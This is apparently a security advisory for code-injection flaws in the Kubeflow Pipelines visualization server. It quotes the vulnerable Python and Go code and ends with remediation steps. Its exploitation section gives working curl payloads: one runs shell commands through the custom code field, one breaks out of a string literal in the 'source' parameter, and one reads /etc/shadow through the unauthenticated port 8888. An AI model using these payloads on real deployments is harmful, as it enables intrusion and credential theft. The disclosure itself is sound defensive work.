File size: 7,220 Bytes
806623f
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
# Arbitrary Code Execution via Visualization API in Kubeflow Pipelines

## Target
**Repository:** kubeflow/pipelines
**Component:** Visualization Server (Python backend) + API Server (Go gRPC gateway)
**Severity:** CRITICAL (CVSS ~9.8)
**CWE:** CWE-94 (Improper Control of Generation of Code / Code Injection)

## Summary

The Kubeflow Pipelines visualization API allows any authenticated user (or any user in single-user mode) to execute arbitrary Python code on the visualization service pod via two independent attack vectors:

1. **Direct code execution via CUSTOM visualization type** -- The `arguments.code` field is executed directly in a Jupyter kernel with zero sanitization.
2. **Python code injection via the `source` parameter** -- The source string is interpolated into a Python code cell using unsanitized `str.format()`, allowing breakout from the string literal.

Neither vector requires the `ALLOW_CUSTOM_VISUALIZATIONS` flag to be enabled, as this flag only controls frontend UI display and is NOT enforced server-side.

## Vulnerable Code

### Vector 1: Direct Code Execution via Custom Visualization Type

**File:** `backend/src/apiserver/visualization/server.py`, lines 109-111

```python
if visualization_type == "custom":
    code = arguments.get("code", [])
    nb.cells.append(exporter.create_cell_from_custom_code(code))
```

**File:** `backend/src/apiserver/visualization/exporter.py`, lines 76-88

```python
def create_cell_from_custom_code(code: list) -> NotebookNode:
    cell = new_code_cell("\n".join(code))
    cell.get("metadata")["hide_logging"] = False
    return cell
```

**File:** `backend/src/apiserver/visualization/exporter.py`, line 162

```python
self.ep.preprocess(nb, {"metadata": {"path": Path.cwd()}}, self.km)
```

The `ExecutePreprocessor.preprocess()` call executes all notebook cells in a live Jupyter kernel. The `code` list from the user's `arguments` JSON is joined with newlines and executed as-is.

### Vector 2: Python Code Injection via Source Parameter

**File:** `backend/src/apiserver/visualization/server.py`, line 108

```python
nb.cells.append(new_code_cell('source = "{}"'.format(source)))
```

The `source` parameter is interpolated directly into a Python code string using `str.format()` without escaping. This allows breaking out of the string literal to inject arbitrary Python code.

### Missing Server-Side Authorization

**File:** `backend/src/apiserver/server/visualization_server.go`, lines 48-69

```go
func (s *VisualizationServer) CreateVisualizationV1(ctx context.Context, request *go_client.CreateVisualizationRequest) (*go_client.Visualization, error) {
    if err := s.validateCreateVisualizationRequest(request); err != nil {
        return nil, err
    }
    // Authorization ONLY checked in multi-user mode AND only when namespace is non-empty
    if common.IsMultiUserMode() && len(request.Namespace) > 0 {
        // ... RBAC check ...
    }
    // Falls through to execute visualization with NO auth check in:
    // 1. Single-user mode (default deployment)
    // 2. Multi-user mode with empty namespace
    body, err := s.generateVisualizationFromRequest(request)
```

The `ALLOW_CUSTOM_VISUALIZATIONS` environment variable (default: `false`) is only checked by the frontend UI to decide whether to show the "Custom" option in the dropdown. The backend API does NOT enforce it.

## Exploitation

### Vector 1: RCE via Custom Visualization (any user, single-user mode)

```bash
# Direct API call to the KFP API server
curl -X POST "http://<KFP_HOST>/apis/v1beta1/visualizations/" \
  -H "Content-Type: application/json" \
  -d '{
    "visualization": {
      "type": "CUSTOM",
      "source": "",
      "arguments": "{\"code\": [\"import subprocess\", \"result = subprocess.check_output([\\\"id\\\"])\", \"print(result.decode())\"]}"
    }
  }'
```

This executes `id` (or any arbitrary command) on the visualization service pod and returns the output in the HTML response.

### Vector 2: RCE via Source Injection (works even for non-CUSTOM types)

```bash
curl -X POST "http://<KFP_HOST>/apis/v1beta1/visualizations/" \
  -H "Content-Type: application/json" \
  -d '{
    "visualization": {
      "type": "TABLE",
      "source": "\"; __import__(\"os\").system(\"id\"); x=\"",
      "arguments": "{}"
    }
  }'
```

The Python code cell becomes:
```python
source = ""; __import__("os").system("id"); x=""
```

### Vector 3: Direct access to Python visualization server (network-adjacent)

The Python visualization server on port 8888 has NO authentication at all:

```bash
# Direct POST to the visualization service (within the k8s cluster)
curl -X POST "http://ml-pipeline-visualizationserver:8888/" \
  -d "type=custom&arguments={\"code\":[\"import os\",\"os.system('cat /etc/shadow')\"]}"
```

## Impact

- **Remote Code Execution** on the visualization service pod
- In single-user mode (default), **no authentication is required** to access the API
- In multi-user mode, the authorization check can be **bypassed by sending an empty namespace**
- The `ALLOW_CUSTOM_VISUALIZATIONS=false` setting provides **no protection** as it is only a frontend cosmetic flag
- Can be used to:
  - Read secrets and service account tokens from the pod
  - Pivot to other services within the Kubernetes cluster
  - Access artifact storage credentials
  - Potentially escalate privileges via the pod's service account

## Root Cause

1. The visualization server was designed to execute arbitrary notebook code by design (for the "custom" visualization feature), but this capability was left accessible through the API even when the UI hides it.
2. The `source` parameter is unsafely interpolated into executable Python code.
3. The `ALLOW_CUSTOM_VISUALIZATIONS` flag is a frontend-only UI toggle with no server-side enforcement.
4. Authorization in single-user mode is entirely absent.

## Remediation

1. **Enforce `ALLOW_CUSTOM_VISUALIZATIONS` server-side** in `visualization_server.go` by rejecting CUSTOM type requests when the flag is false.
2. **Sanitize the `source` parameter** in `server.py` using `repr()` instead of `str.format()`:
   ```python
   nb.cells.append(new_code_cell('source = {}'.format(repr(source))))
   ```
3. **Add authorization checks** for all visualization requests, not just multi-user mode with non-empty namespace.
4. **Sandbox the Jupyter kernel** execution environment or consider removing the custom code execution feature entirely.
5. **Add network policies** to restrict access to the visualization server pod.

## Affected Versions

All versions of Kubeflow Pipelines that include the visualization server component. The vulnerability exists in the current main branch as of March 2026.

## Files

- `backend/src/apiserver/visualization/server.py` (lines 108-114) -- Code injection and custom code execution
- `backend/src/apiserver/visualization/exporter.py` (lines 76-88, 162) -- Notebook code execution
- `backend/src/apiserver/server/visualization_server.go` (lines 48-69) -- Missing authorization enforcement
- `backend/api/v1beta1/visualization.proto` (line 84) -- CUSTOM type definition in API
- `frontend/server/configs.ts` (line 85) -- ALLOW_CUSTOM_VISUALIZATIONS default false (frontend-only)